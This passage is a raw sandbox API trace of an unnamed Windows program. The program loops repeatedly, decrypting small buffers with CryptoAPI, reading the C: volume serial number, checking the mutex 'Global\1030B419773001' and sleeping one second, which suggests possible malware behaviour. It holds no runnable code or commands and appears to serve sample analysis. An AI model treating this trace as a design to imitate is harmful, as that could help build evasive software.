hHeap=0xe70000) returned 1 [0132.118] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe79220, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0132.118] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe792e8 | out: hHeap=0xe70000) returned 1 [0132.118] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe791f8 | out: hHeap=0xe70000) returned 1 [0132.118] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.119] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79220 | out: hHeap=0xe70000) returned 1 [0132.119] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0132.119] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cf20) returned 1 [0132.119] CryptSetKeyParam (hKey=0x81cf20, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0132.119] CryptDecrypt (in: hKey=0x81cf20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0132.119] CryptDestroyKey (hKey=0x81cf20) returned 1 [0132.119] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0132.119] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0132.119] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0132.119] CloseHandle (hObject=0x508) returned 1 [0132.119] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0132.119] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0132.119] Sleep (dwMilliseconds=0x3e8) [0133.334] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe79298 [0133.334] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81ce60) returned 1 [0133.334] CryptSetKeyParam (hKey=0x81ce60, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0133.334] CryptDecrypt (in: hKey=0x81ce60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79298, pdwDataLen=0xe1f938 | out: pbData=0xe79298, pdwDataLen=0xe1f938) returned 1 [0133.334] CryptDestroyKey (hKey=0x81ce60) returned 1 [0133.334] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe792e8 [0133.334] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe78ff0 [0133.334] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7b148 [0133.334] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cb60) returned 1 [0133.334] CryptSetKeyParam (hKey=0x81cb60, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0133.334] CryptDecrypt (in: hKey=0x81cb60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b148, pdwDataLen=0xe1f910 | out: pbData=0xe7b148, pdwDataLen=0xe1f910) returned 1 [0133.334] CryptDestroyKey (hKey=0x81cb60) returned 1 [0133.334] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b148 | out: hHeap=0xe70000) returned 1 [0133.334] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe792e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0133.334] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78ff0 | out: hHeap=0xe70000) returned 1 [0133.334] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79298 | out: hHeap=0xe70000) returned 1 [0133.334] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.334] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe792e8 | out: hHeap=0xe70000) returned 1 [0133.334] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0133.334] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cfa0) returned 1 [0133.334] CryptSetKeyParam (hKey=0x81cfa0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0133.334] CryptDecrypt (in: hKey=0x81cfa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0133.334] CryptDestroyKey (hKey=0x81cfa0) returned 1 [0133.334] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0133.334] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0133.334] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0133.334] CloseHandle (hObject=0x508) returned 1 [0133.334] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0133.334] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0133.334] Sleep (dwMilliseconds=0x3e8) [0134.352] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe79270 [0134.352] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81cee0) returned 1 [0134.352] CryptSetKeyParam (hKey=0x81cee0, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0134.352] CryptDecrypt (in: hKey=0x81cee0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79270, pdwDataLen=0xe1f938 | out: pbData=0xe79270, pdwDataLen=0xe1f938) returned 1 [0134.352] CryptDestroyKey (hKey=0x81cee0) returned 1 [0134.352] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe79220 [0134.352] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe79298 [0134.352] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7a7c8 [0134.352] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81d1a0) returned 1 [0134.352] CryptSetKeyParam (hKey=0x81d1a0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0134.352] CryptDecrypt (in: hKey=0x81d1a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7a7c8, pdwDataLen=0xe1f910 | out: pbData=0xe7a7c8, pdwDataLen=0xe1f910) returned 1 [0134.352] CryptDestroyKey (hKey=0x81d1a0) returned 1 [0134.352] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7a7c8 | out: hHeap=0xe70000) returned 1 [0134.352] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe79220, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0134.352] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79298 | out: hHeap=0xe70000) returned 1 [0134.352] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79270 | out: hHeap=0xe70000) returned 1 [0134.352] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0134.353] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79220 | out: hHeap=0xe70000) returned 1 [0134.353] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0134.353] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cfe0) returned 1 [0134.353] CryptSetKeyParam (hKey=0x81cfe0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0134.353] CryptDecrypt (in: hKey=0x81cfe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0134.353] CryptDestroyKey (hKey=0x81cfe0) returned 1 [0134.353] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0134.353] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0134.353] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0134.353] CloseHandle (hObject=0x508) returned 1 [0134.353] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0134.353] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0134.353] Sleep (dwMilliseconds=0x3e8) [0135.480] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe79298 [0135.480] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81cea0) returned 1 [0135.480] CryptSetKeyParam (hKey=0x81cea0, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0135.480] CryptDecrypt (in: hKey=0x81cea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79298, pdwDataLen=0xe1f938 | out: pbData=0xe79298, pdwDataLen=0xe1f938) returned 1 [0135.480] CryptDestroyKey (hKey=0x81cea0) returned 1 [0135.480] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe79040 [0135.480] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe79130 [0135.480] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7a698 [0135.480] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cbe0) returned 1 [0135.480] CryptSetKeyParam (hKey=0x81cbe0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0135.480] CryptDecrypt (in: hKey=0x81cbe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7a698, pdwDataLen=0xe1f910 | out: pbData=0xe7a698, pdwDataLen=0xe1f910) returned 1 [0135.480] CryptDestroyKey (hKey=0x81cbe0) returned 1 [0135.480] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7a698 | out: hHeap=0xe70000) returned 1 [0135.480] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe79040, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0135.480] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79130 | out: hHeap=0xe70000) returned 1 [0135.480] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79298 | out: hHeap=0xe70000) returned 1 [0135.480] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.480] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79040 | out: hHeap=0xe70000) returned 1 [0135.480] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0135.480] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cfe0) returned 1 [0135.480] CryptSetKeyParam (hKey=0x81cfe0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0135.480] CryptDecrypt (in: hKey=0x81cfe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0135.480] CryptDestroyKey (hKey=0x81cfe0) returned 1 [0135.480] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0135.480] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0135.481] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0135.481] CloseHandle (hObject=0x508) returned 1 [0135.481] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0135.481] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0135.481] Sleep (dwMilliseconds=0x3e8) [0136.486] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe79310 [0136.486] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81ce60) returned 1 [0136.486] CryptSetKeyParam (hKey=0x81ce60, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0136.486] CryptDecrypt (in: hKey=0x81ce60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79310, pdwDataLen=0xe1f938 | out: pbData=0xe79310, pdwDataLen=0xe1f938) returned 1 [0136.486] CryptDestroyKey (hKey=0x81ce60) returned 1 [0136.486] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe79108 [0136.486] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe78fc8 [0136.486] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7b0b0 [0136.486] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cde0) returned 1 [0136.486] CryptSetKeyParam (hKey=0x81cde0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0136.486] CryptDecrypt (in: hKey=0x81cde0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b0b0, pdwDataLen=0xe1f910 | out: pbData=0xe7b0b0, pdwDataLen=0xe1f910) returned 1 [0136.486] CryptDestroyKey (hKey=0x81cde0) returned 1 [0136.486] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b0b0 | out: hHeap=0xe70000) returned 1 [0136.486] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe79108, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0136.486] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78fc8 | out: hHeap=0xe70000) returned 1 [0136.486] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79310 | out: hHeap=0xe70000) returned 1 [0136.486] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0136.486] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79108 | out: hHeap=0xe70000) returned 1 [0136.486] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0136.486] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81d260) returned 1 [0136.486] CryptSetKeyParam (hKey=0x81d260, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0136.486] CryptDecrypt (in: hKey=0x81d260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0136.486] CryptDestroyKey (hKey=0x81d260) returned 1 [0136.487] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0136.487] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0136.487] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0136.487] CloseHandle (hObject=0x508) returned 1 [0136.487] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0136.487] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0136.487] Sleep (dwMilliseconds=0x3e8) [0137.502] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe78fa0 [0137.502] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81d220) returned 1 [0137.502] CryptSetKeyParam (hKey=0x81d220, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0137.502] CryptDecrypt (in: hKey=0x81d220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe78fa0, pdwDataLen=0xe1f938 | out: pbData=0xe78fa0, pdwDataLen=0xe1f938) returned 1 [0137.502] CryptDestroyKey (hKey=0x81d220) returned 1 [0137.502] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe79068 [0137.502] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe791d0 [0137.502] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7ad20 [0137.502] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cd20) returned 1 [0137.502] CryptSetKeyParam (hKey=0x81cd20, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0137.502] CryptDecrypt (in: hKey=0x81cd20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7ad20, pdwDataLen=0xe1f910 | out: pbData=0xe7ad20, pdwDataLen=0xe1f910) returned 1 [0137.502] CryptDestroyKey (hKey=0x81cd20) returned 1 [0137.502] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7ad20 | out: hHeap=0xe70000) returned 1 [0137.502] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe79068, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0137.502] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe791d0 | out: hHeap=0xe70000) returned 1 [0137.502] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78fa0 | out: hHeap=0xe70000) returned 1 [0137.502] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0137.502] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79068 | out: hHeap=0xe70000) returned 1 [0137.502] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0137.502] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cda0) returned 1 [0137.502] CryptSetKeyParam (hKey=0x81cda0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0137.502] CryptDecrypt (in: hKey=0x81cda0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0137.502] CryptDestroyKey (hKey=0x81cda0) returned 1 [0137.502] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71490 [0137.502] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x56c [0137.502] WaitForSingleObject (hHandle=0x56c, dwMilliseconds=0x0) returned 0x102 [0137.502] CloseHandle (hObject=0x56c) returned 1 [0137.503] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0137.503] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 [0137.503] Sleep (dwMilliseconds=0x3e8) [0138.524] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe79298 [0138.524] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81cea0) returned 1 [0138.524] CryptSetKeyParam (hKey=0x81cea0, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0138.524] CryptDecrypt (in: hKey=0x81cea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79298, pdwDataLen=0xe1f938 | out: pbData=0xe79298, pdwDataLen=0xe1f938) returned 1 [0138.524] CryptDestroyKey (hKey=0x81cea0) returned 1 [0138.524] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe79220 [0138.524] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe79090 [0138.524] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7aac0 [0138.524] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cee0) returned 1 [0138.524] CryptSetKeyParam (hKey=0x81cee0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0138.524] CryptDecrypt (in: hKey=0x81cee0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7aac0, pdwDataLen=0xe1f910 | out: pbData=0xe7aac0, pdwDataLen=0xe1f910) returned 1 [0138.524] CryptDestroyKey (hKey=0x81cee0) returned 1 [0138.524] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7aac0 | out: hHeap=0xe70000) returned 1 [0138.525] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe79220, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.525] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79090 | out: hHeap=0xe70000) returned 1 [0138.525] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79298 | out: hHeap=0xe70000) returned 1 [0138.525] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.525] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79220 | out: hHeap=0xe70000) returned 1 [0138.525] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0138.525] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cd20) returned 1 [0138.525] CryptSetKeyParam (hKey=0x81cd20, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0138.525] CryptDecrypt (in: hKey=0x81cd20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0138.525] CryptDestroyKey (hKey=0x81cd20) returned 1 [0138.525] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0x3724010 [0138.525] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0138.525] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0138.525] CloseHandle (hObject=0x508) returned 1 [0138.525] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0138.525] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3724010 | out: hHeap=0xe70000) returned 1 [0138.525] Sleep (dwMilliseconds=0x3e8) [0139.574] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe79220 [0139.574] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x81d020) returned 1 [0139.574] CryptSetKeyParam (hKey=0x81d020, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0139.574] CryptDecrypt (in: hKey=0x81d020, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79220, pdwDataLen=0xe1f938 | out: pbData=0xe79220, pdwDataLen=0xe1f938) returned 1 [0139.574] CryptDestroyKey (hKey=0x81d020) returned 1 [0139.574] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe79338 [0139.574] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe78ff0 [0139.574] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7b0b0 [0139.574] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x81cf60) returned 1 [0139.574] CryptSetKeyParam 